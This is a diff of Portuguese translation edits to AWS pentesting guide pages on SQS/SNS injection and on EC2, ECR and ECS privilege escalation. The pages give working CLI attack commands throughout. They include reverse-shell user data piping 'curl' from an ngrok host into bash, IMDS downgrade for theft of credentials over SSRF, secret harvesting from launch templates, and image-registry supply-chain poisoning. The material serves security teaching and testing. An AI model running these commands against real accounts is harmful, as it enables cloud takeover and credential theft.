src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
View File

@@ -4,12 +4,12 @@
## Descrição
Abuse uma policy de recurso da fila SQS para permitir que um SNS topic controlado pelo atacante publique mensagens em uma fila SQS da vítima. Na mesma conta, uma subscription SQS para um SNS topic é auto-confirmada; em cross-account, você deve ler o token SubscriptionConfirmation da fila e chamar ConfirmSubscription. Isso possibilita injeção de mensagens não solicitadas que consumidores downstream podem implicitamente confiar.
Abusar da política de recurso da fila SQS para permitir que um SNS topic controlado pelo atacante publique mensagens em uma fila SQS vítima. Na mesma conta, uma subscription SQS para um SNS topic se confirma automaticamente; em cross-account, você deve ler o token SubscriptionConfirmation da fila e chamar ConfirmSubscription. Isso permite injeção de mensagens não confiáveis que consumidores a jusante podem implicitamente confiar.
### Requisitos
- Capacidade de modificar a policy de recurso da fila SQS alvo: `sqs:SetQueueAttributes` na fila da vítima.
- Capacidade de criar/publicar em um SNS topic sob controle do atacante: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` na conta/topic do atacante.
- Apenas cross-account: `sqs:ReceiveMessage` temporário na fila da vítima para ler o token de confirmação e chamar `sns:ConfirmSubscription`.
- Capacidade de modificar a política de recurso da fila SQS alvo: `sqs:SetQueueAttributes` na fila vítima.
- Capacidade de criar/publicar em um SNS topic sob controle do atacante: `sns:CreateTopic`, `sns:Publish`, e `sns:Subscribe` na conta/topic do atacante.
- Apenas cross-account: temporário `sqs:ReceiveMessage` na fila vítima para ler o token de confirmação e chamar `sns:ConfirmSubscription`.
### Exploração na mesma conta
```bash
@@ -45,8 +45,8 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGI
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
```
### Notas entre contas
- A política da fila acima deve permitir o `TOPIC_ARN` estrangeiro (conta do atacante).
- As assinaturas não serão confirmadas automaticamente. Conceda a si mesmo temporariamente `sqs:ReceiveMessage` na fila da vítima para ler a mensagem `SubscriptionConfirmation` e então chame `sns confirm-subscription` com seu `Token`.
- A política da fila acima deve permitir o `TOPIC_ARN` externo (conta do atacante).
- Assinaturas não serão confirmadas automaticamente. Conceda a si mesmo `sqs:ReceiveMessage` temporário na fila vítima para ler a mensagem `SubscriptionConfirmation` e então execute `sns confirm-subscription` com seu `Token`.
### Impacto
**Impacto Potencial**: Injeção contínua de mensagens não solicitadas em uma fila SQS confiável via SNS, potencialmente acionando processamento não intencional, poluição de dados ou abuso de fluxo de trabalho.

89
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
View File

@@ -4,7 +4,7 @@
## EC2
Para mais **info sobre EC2** veja:
Para mais **informações sobre EC2** confira:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,19 +12,19 @@ Para mais **info sobre EC2** veja:
### `iam:PassRole`, `ec2:RunInstances`
Um atacante poderia **criar uma instância anexando uma IAM role e então acessar a instância** para roubar as credenciais da IAM role a partir do endpoint de metadados.
Um atacante poderia **criar uma instância anexando um IAM role e então acessar a instância** para roubar as credenciais do IAM role a partir do metadata endpoint.
- **Acesso via SSH**
Inicie uma nova instância usando uma **ssh key** **criada** (`--key-name`) e então faça ssh nela (se quiser criar uma nova pode precisar da permissão `ec2:CreateKeyPair`).
Inicie uma nova instância usando uma **ssh key** criada (`--key-name`) e depois conecte-se via ssh a ela (se quiser criar uma nova você pode precisar da permissão `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
```
- **Acesso via rev shell em user data**
- **Acesso via rev shell no user data**
Você pode iniciar uma nova instance usando uma **user data** (`--user-data`) que enviará para você um **rev shell**. Não é necessário especificar um security group dessa forma.
Você pode iniciar uma nova instância usando um **user data** (`--user-data`) que enviará para você um **rev shell**. Você não precisa especificar o security group dessa forma.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Tenha cuidado com GuradDuty se você usar as credenciais do IAM role fora da instância:
Tenha cuidado com GuardDuty se você usar as credenciais do IAM role fora da instance:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
**Impacto potencial:** Privesc direto para qualquer role EC2 anexada a instance profiles existentes.
**Impacto Potencial:** privesc direto a qualquer EC2 role anexada a um perfil de instância existente.
#### Privesc para ECS
Com esse conjunto de permissões você também poderia **criar uma EC2 instance e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **EC2 instance** onde você tem acesso e então você pode penetrar nesses serviços (docker containers) e **roubar os ECS roles anexados a eles**.
Com esse conjunto de permissões você também poderia **criar uma EC2 instance e registrá-la dentro de um ECS cluster**. Dessa forma, os **services** do ECS serão **executados** dentro da **EC2 instance** à qual você tem acesso e então você pode comprometer esses serviços (docker containers) e **roubar os ECS roles anexados a eles**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,19 +59,19 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Para aprender como **forçar que os serviços do ECS sejam executados** nesta nova EC2 instance, confira:
Para aprender como **forçar serviços ECS a serem executados** nesta nova instância EC2, consulte:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
Se você **não pode criar uma nova instância** mas tem a permissão `ecs:RegisterContainerInstance`, pode ser capaz de registrar a instância no cluster e executar o ataque comentado.
Se você **não puder criar uma nova instância** mas tiver a permissão `ecs:RegisterContainerInstance`, pode ser capaz de registrar a instância no cluster e executar o ataque comentado.
**Impacto Potencial:** Privesc direto para roles do ECS anexados às tasks.
**Impacto Potencial:** Privesc direto para ECS roles anexadas às tasks.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
Semelhante ao cenário anterior, um atacante com essas permissões poderia **alterar o IAM role de uma instância comprometida** para roubar novas credenciais.
Semelhante ao cenário anterior, um atacante com essas permissões poderia **alterar o IAM role de uma instância comprometida** para poder roubar novas credenciais.\
Como um instance profile só pode ter 1 role, se o instance profile **já tiver um role** (caso comum), você também precisará de **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Se o **instance profile tem um role** e o atacante **não consegue removê-lo**, existe outra alternativa. Ele pode **encontrar** um **instance profile sem um role** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **role** àquele **instance profile** (como discutido anteriormente), e **associar o instance profile** comprometido a uma comprometida i**nstance:**
Se o **instance profile tem uma role** e o atacante **não consegue removê‑la**, existe outra alternativa. Ele pode **encontrar** um **instance profile sem uma role** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** a **role** a esse **instance profile** (como discutido anteriormente), e **associar o instance profile** comprometido a uma compromised i**nstance:**
- Se a instance **não tiver nenhum instance** profile (`ec2:AssociateIamInstanceProfile`)
- Se a instance **não tem nenhum instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Impacto Potencial:** Privesc direto para um EC2 role diferente (você precisa ter comprometido uma instância AWS EC2 e possuir permissões extras ou um status específico de instance profile).
**Impacto Potencial:** Direct privesc to a different EC2 role (você precisa ter comprometido uma instância EC2 da AWS e alguma permissão extra ou status específico do instance profile).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Com essas permissões é possível alterar o instance profile associado a uma instância. Assim, se o atacante já tiver acesso a uma instância, ele poderá roubar credenciais de mais roles de instance profile ao trocar o que está associado a ela.
Com essas permissões é possível alterar o instance profile associado a uma instância; assim, se o atacante já tiver acesso a essa instância, ele poderá roubar credenciais de mais roles de instance profile ao trocar o que está associado a ela.
- Se ela **tem um instance profile**, você pode **remover** o instance profile (`ec2:DisassociateIamInstanceProfile`) e **associá-lo**
- Se ela **possui um instance profile**, você pode **remover** o instance profile (`ec2:DisassociateIamInstanceProfile`) e **associá-lo**
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- ou **substituir** o **instance profile** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
- ou **substituir** o **perfil de instância** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
**Impacto Potencial:** Privesc direto para uma EC2 role diferente (você precisa ter comprometido uma AWS EC2 instance e alguma permissão extra ou um status específico do instance profile).
**Impacto Potencial:** Privesc direto para uma EC2 role diferente (você precisa ter comprometido uma instância EC2 da AWS e alguma permissão extra ou status específico de instance profile).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Um atacante com as permissões **`ec2:RequestSpotInstances`and`iam:PassRole`** pode **solicitar** uma **Spot Instance** com uma **EC2 Role anexada** e um **rev shell** no **user data**.\
Uma vez que a instance seja executada, ele pode **roubar a IAM role**.
Um atacante com as permissões **`ec2:RequestSpotInstances`and`iam:PassRole`** pode **solicitar** uma **Spot Instance** com uma **EC2 Role attached** e um **rev shell** no **user data**.\
Uma vez que a instância seja executada, ele pode **steal the IAM role**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
Um atacante com o **`ec2:ModifyInstanceAttribute`** pode modificar os atributos das instâncias. Entre eles, ele pode **alterar o user data**, o que implica que ele pode fazer a instância **executar dados arbitrários.** Isso pode ser usado para obter um **rev shell para a instância EC2**.
Um atacante com o `ec2:ModifyInstanceAttribute` pode modificar os atributos da instância. Entre eles, ele pode **alterar o user data**, o que implica que ele pode fazer a instância **executar dados arbitrários**, o que pode ser usado para obter um **rev shell na instância EC2**.
Observe que os atributos só podem ser **modificados enquanto a instância estiver parada**, então são necessárias as **permissões** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
Note que os atributos só podem ser modificados enquanto a instância estiver parada, portanto são necessárias as permissões `ec2:StopInstances` e `ec2:StartInstances`.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Impacto Potencial:** privesc direto para qualquer EC2 IAM Role anexada a uma instância criada.
**Impacto Potencial:** Escalada direta (privesc) para qualquer EC2 IAM Role anexada a uma instância criada.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão de Launch Template** com um **rev shell no** **user data** e **qualquer EC2 IAM Role nela**, alterar a versão padrão, e **qualquer Autoscaler group** que esteja **usando** esse **Launch Template** configurado para usar a **mais recente** ou a **versão padrão** irá **reexecutar as instâncias** usando esse template e executará o rev shell.
Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** pode criar uma **new Launch Template version** com um **rev shell in** o **user data** e **any EC2 IAM Role on it**, alterar a versão padrão, e **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** irá **re-run the instances** usando esse template e irá executar o rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -180,7 +180,7 @@ aws ec2 modify-launch-template \
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Launch Configuration** com uma **IAM Role** e um **rev shell** dentro do **user data**, então **criar um autoscaling group** a partir dessa configuração e aguardar o rev shell **roubar a IAM Role**.
Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Launch Configuration** com um **IAM Role** e um **rev shell** dentro do **user data**, então **criar um autoscaling group** a partir dessa config e aguardar o rev shell **roubar o IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,15 +196,15 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**Impacto Potencial:** Privesc direto para uma role do EC2 diferente.
**Impacto Potencial:** Privesc direto para uma role EC2 diferente.
### `!autoscaling`
O conjunto de permissões **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **não é suficiente para escalar** privilégios para uma role IAM porque, para anexar a role especificada no Launch Configuration ou no Launch Template, **é necessário ter as permissões `iam:PassRole` e `ec2:RunInstances`** (que é um privesc conhecido).
O conjunto de permissões **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **não é suficiente para escalar** privilégios para uma role IAM porque, para anexar a role especificada na Launch Configuration ou no Launch Template, **você precisa das permissões `iam:PassRole` e `ec2:RunInstances`** (o que é um privesc conhecido).
### `ec2-instance-connect:SendSSHPublicKey`
Um atacante com a permissão **`ec2-instance-connect:SendSSHPublicKey`** pode adicionar uma chave ssh a um usuário e usá-la para fazer login (caso tenha acesso ssh à instância) ou para escalar privilégios.
Um atacante com a permissão **`ec2-instance-connect:SendSSHPublicKey`** pode adicionar uma chave ssh a um usuário e usá-la para acessar (se ele tiver acesso ssh à instância) ou para escalar privilégios.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
@@ -215,9 +215,9 @@ aws ec2-instance-connect send-ssh-public-key \
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
Um atacante com a permissão **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** pode **adicionar uma chave ssh a uma conexão serial**. Se a console serial não estiver habilitada, o atacante precisa da permissão **`ec2:EnableSerialConsoleAccess` para habilitá-la**.
Um atacante com a permissão **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** pode **adicionar uma chave ssh a uma conexão serial**. Se o console serial não estiver habilitado, o atacante precisa da permissão **`ec2:EnableSerialConsoleAccess` para habilitá-lo**.
Para conectar à porta serial você também **precisa conhecer o nome de usuário e a senha de um usuário** dentro da máquina.
Para conectar à porta serial você também **precisa saber o username e password de um usuário** dentro da máquina.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Essa maneira não é tão útil para privesc, pois você precisa saber um username e password para explorá-la.
Essa forma não é muito útil para privesc, pois você precisa conhecer um nome de usuário e senha para explorá-la.
**Impacto Potencial:** (Altamente difícil de provar) Privesc direto para as EC2 IAM roles anexadas às instâncias em execução.
**Impacto Potencial:** (Altamente não comprovável) Privesc direto para os EC2 IAM roles anexados às instâncias em execução.
### `describe-launch-templates`,`describe-launch-template-versions`
Como os launch templates têm versionamento, um atacante com permissões **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** poderia explorar isso para descobrir informações sensíveis, como credenciais presentes no user data. Para isso, o script a seguir percorre todas as versões dos launch templates disponíveis:
Como os launch templates têm versionamento, um atacante com permissões **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** poderia explorá-los para descobrir informações sensíveis, como credenciais presentes no user data. Para isso, o script a seguir percorre todas as versões dos launch templates disponíveis:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,29 +248,29 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
Nos comandos acima, embora estejamos especificando certos padrões (`aws_|password|token|api`), você pode usar uma regex diferente para buscar outros tipos de informação sensível.
In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information.
Se encontrarmos `aws_access_key_id` e `aws_secret_access_key`, podemos usar essas credenciais para autenticar na AWS.
Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS.
**Impacto Potencial:** Escalada direta de privilégios para usuário(s) IAM.
**Potential Impact:** Escalação direta de privilégios para usuário(s) do IAM.
## References
## Referências
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
{{#include ../../../../banners/hacktricks-training.md}}
### `ec2:ModifyInstanceMetadataOptions` (rebaixamento do IMDS para permitir roubo de credenciais via SSRF)
Um atacante com a capacidade de chamar `ec2:ModifyInstanceMetadataOptions` em uma instância EC2 alvo pode enfraquecer as proteções do IMDS habilitando IMDSv1 (`HttpTokens=optional`) e aumentando o `HttpPutResponseHopLimit`. Isso torna o endpoint de metadata da instância acessível via caminhos comuns de SSRF/proxy a partir de aplicações em execução na instância. Se o atacante conseguir disparar um SSRF em tal app, ele poderá recuperar as credenciais do instance profile e pivotar com elas.
Um atacante com a capacidade de chamar `ec2:ModifyInstanceMetadataOptions` em uma instância EC2 vítima pode enfraquecer as proteções do IMDS habilitando IMDSv1 (`HttpTokens=optional`) e aumentando o `HttpPutResponseHopLimit`. Isso torna o endpoint de metadata da instância acessível via caminhos comuns de SSRF/proxy de aplicações em execução na instância. Se o atacante conseguir acionar um SSRF em tal app, ele pode recuperar as credenciais do instance profile e pivotar com elas.
- Permissões necessárias: `ec2:ModifyInstanceMetadataOptions` na instância alvo (além da capacidade de alcançar/disparar um SSRF no host).
- Recurso alvo: A instância EC2 em execução com um instance profile anexado (IAM role).
- Required permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (plus the ability to reach/trigger a SSRF on the host).
- Target resource: The running EC2 instance with an attached instance profile (IAM role).
Exemplo de comandos:
Commands example:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
@@ -297,4 +297,5 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
```
Impacto Potencial: Roubo das credenciais do instance profile via SSRF levando a privilege escalation e lateral movement com as permissões da role EC2.
Impacto Potencial: Roubo de credenciais do instance profile via SSRF levando a privilege escalation e lateral movement com as permissões do EC2 role.
{{#include ../../../../banners/hacktricks-training.md}}

52
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
View File

@@ -6,21 +6,21 @@
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
Um atacante com os **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** pode fazer login no ECR e baixar imagens.
Um atacante com as **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** pode fazer login no ECR e baixar imagens.
For more info on how to download images:
Para mais informações sobre como baixar imagens:
{{#ref}}
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
{{#endref}}
**Impacto potencial:** Privesc indireta por interceptação de informações sensíveis no tráfego.
**Potential Impact:** Privesc indireto ao interceptar informações sensíveis no tráfego.
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
Um atacante com todas essas permissões **pode fazer login no ECR e fazer upload de imagens**. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens estão sendo usadas.
To learn how to upload a new image/update one, check:
Para aprender como fazer upload de uma nova imagem/atualizar uma, veja:
{{#ref}}
../../aws-services/aws-eks-enum.md
@@ -32,14 +32,14 @@ Como na seção anterior, mas para repositórios públicos.
### `ecr:SetRepositoryPolicy`
Um atacante com essa permissão poderia **alterar** a **política** do **repositório** para se conceder (ou até a todos) **acesso de leitura/escrita**.\
Um atacante com essa permissão poderia **alterar** a **política do repositório** para conceder a si mesmo (ou até a todos) **acesso de leitura/escrita**.\
Por exemplo, neste exemplo o acesso de leitura é concedido a todos.
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
```
Conteúdo do `my-policy.json`:
Conteúdo de `my-policy.json`:
```json
{
"Version": "2008-10-17",
@@ -87,7 +87,7 @@ echo '{
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
```
**Impacto Potencial**: Acesso público não autorizado ao repositório ECR Public, permitindo que qualquer usuário possa push, pull ou delete imagens.
**Impacto Potencial**: Acesso público não autorizado ao repositório ECR Public, permitindo que qualquer usuário push, pull ou delete imagens.
### `ecr:PutRegistryPolicy`
@@ -97,20 +97,14 @@ aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
```
{{#include ../../../../banners/hacktricks-training.md}}
### ecr:CreatePullThroughCacheRule
Abuse ECR Pull Through Cache (PTC) rules to map an attacker-controlled upstream namespace to a trusted private ECR prefix. This makes workloads pulling from the private ECR transparently receive attacker images without any push to private ECR.
Abuse regras do ECR Pull Through Cache (PTC) para mapear um namespace upstream controlado pelo atacante para um prefixo privado do ECR confiável. Isso faz com que cargas de trabalho que puxam do ECR privado recebam de forma transparente imagens do atacante sem qualquer push para o ECR privado.
- Permissões necessárias: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
- Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
- Upstream testado: public.ecr.aws
Passos (exemplo):
Steps (example):
1. Prepare attacker image in ECR Public
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
@@ -126,19 +120,19 @@ docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
Impacto potencial: Comprometimento da cadeia de suprimentos ao sequestrar nomes internos de imagens sob o prefixo escolhido. Qualquer workload que puxar imagens do ECR privado usando esse prefixo receberá conteúdo controlado pelo atacante.
Potential Impact: Supply-chain compromise by hijacking internal image names under the chosen prefix. Any workload pulling images from the private ECR using that prefix will receive attacker-controlled content.
### `ecr:PutImageTagMutability`
Abusar desta permissão para alterar um repositório com tag immutability para mutável e sobrescrever tags confiáveis (por exemplo, latest, stable, prod) com conteúdo controlado pelo atacante.
Abuse esta permissão para alterar um repositório com imutabilidade de tags para mutável e sobrescrever tags confiáveis (e.g., latest, stable, prod) com conteúdo controlado pelo atacante.
- Permissões necessárias: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Permissões necessárias: `ecr:PutImageTagMutability` mais capacidades de push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Impacto: Comprometimento da cadeia de suprimentos ao substituir silenciosamente tags imutáveis sem alterar os nomes das tags.
Passos (exemplo):
Steps (example):
<details>
<summary>Envenenar uma tag imutável alternando a mutabilidade</summary>
<summary>Envenenar uma tag imutável alternando sua mutabilidade</summary>
```bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
@@ -158,12 +152,12 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
</details>
#### Global registry hijack via ROOT Pull-Through Cache rule
#### Hijack global do registry via ROOT Pull-Through Cache rule
Crie uma regra Pull-Through Cache (PTC) usando o especial `ecrRepositoryPrefix=ROOT` para mapear a raiz do registro ECR privado para um registro público upstream (por exemplo, ECR Public). Qualquer pull para um repositório inexistente no registro privado será servido de forma transparente a partir do upstream, permitindo supply-chain hijacking sem precisar dar push para o ECR privado.
Crie uma Pull-Through Cache (PTC) rule usando o especial `ecrRepositoryPrefix=ROOT` para mapear a raiz do registro privado ECR para um registry público upstream (por exemplo, ECR Public). Qualquer pull para um repositório inexistente no registro privado será servido de forma transparente a partir do upstream, permitindo supply-chain hijacking sem fazer push para o ECR privado.
- Permissões necessárias: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
- Impacto: Pulls para `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` têm sucesso e criam automaticamente repositórios privados provenientes do upstream.
- Impacto: Pulls para `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` terão sucesso e criarão automaticamente repositórios privados originados do upstream.
> Nota: Para regras `ROOT`, omita `--upstream-repository-prefix`. Fornecê-lo causará um erro de validação.
@@ -197,17 +191,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
```
</details>
### `ecr:PutAccountSetting` (Rebaixar `REGISTRY_POLICY_SCOPE` para contornar negações da política de registro)
### `ecr:PutAccountSetting` (Downgrade `REGISTRY_POLICY_SCOPE` to bypass registry policy denies)
Abuse `ecr:PutAccountSetting` para alternar o escopo da política de registro de `V2` (política aplicada a todas as ações do ECR) para `V1` (política aplicada apenas a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se uma política de registro restritiva Deny bloquear ações como `CreatePullThroughCacheRule`, rebaixar para `V1` remove essa aplicação para que os Allows da identity‑policy entrem em efeito.
Abuse `ecr:PutAccountSetting` para mudar o escopo da registry policy de `V2` (policy aplicada a todas as ações do ECR) para `V1` (policy aplicada apenas a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se uma registry policy Deny restritiva bloquear ações como `CreatePullThroughCacheRule`, rebaixar para `V1` remove essa aplicação, fazendo com que os Allows da identity-policy tenham efeito.
- Permissões necessárias: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impacto: Capacidade de executar ações do ECR anteriormente bloqueadas por um Deny da política de registro (por exemplo, criar PTC rules) ao definir temporariamente o escopo para `V1`.
- Impacto: Capacidade de executar ações do ECR anteriormente bloqueadas por uma registry policy Deny (por exemplo, criar regras PTC) ao definir temporariamente o escopo para `V1`.
Passos (exemplo):
<details>
<summary>Contornar o Deny da política de registro em CreatePullThroughCacheRule alternando para V1</summary>
<summary>Contornar registry policy Deny no CreatePullThroughCacheRule alternando para V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
@@ -266,3 +260,5 @@ fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
```
</details>
{{#include ../../../../banners/hacktricks-training.md}}

111
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
View File

@@ -12,7 +12,7 @@ Mais **informações sobre ECS** em:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Um atacante que abusa das permissões `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadata e **executá-la**.
Um atacante que abusa da permissão `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadata e **executá-la**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Impacto Potencial:** Direct privesc to a different ECS role.
**Impacto Potencial:** Privesc direto para um ECS role diferente.
### `iam:PassRole`,`ecs:RunTask`
Um atacante que possui as permissões `iam:PassRole` e `ecs:RunTask` pode iniciar uma nova ECS task com os valores de **execution role**, **task role** e **command** do container modificados. O comando CLI `ecs run-task` contém a flag `--overrides`, que permite alterar em tempo de execução `executionRoleArn`, `taskRoleArn` e o `command` do container sem tocar na task definition.
Um atacante que possui permissões `iam:PassRole` e `ecs:RunTask` pode iniciar uma nova task ECS com os valores de **execution role**, **task role** e **command** do container modificados. O comando CLI `ecs run-task` contém a flag `--overrides`, que permite alterar em tempo de execução o `executionRoleArn`, `taskRoleArn` e o `command` do container sem tocar na task definition.
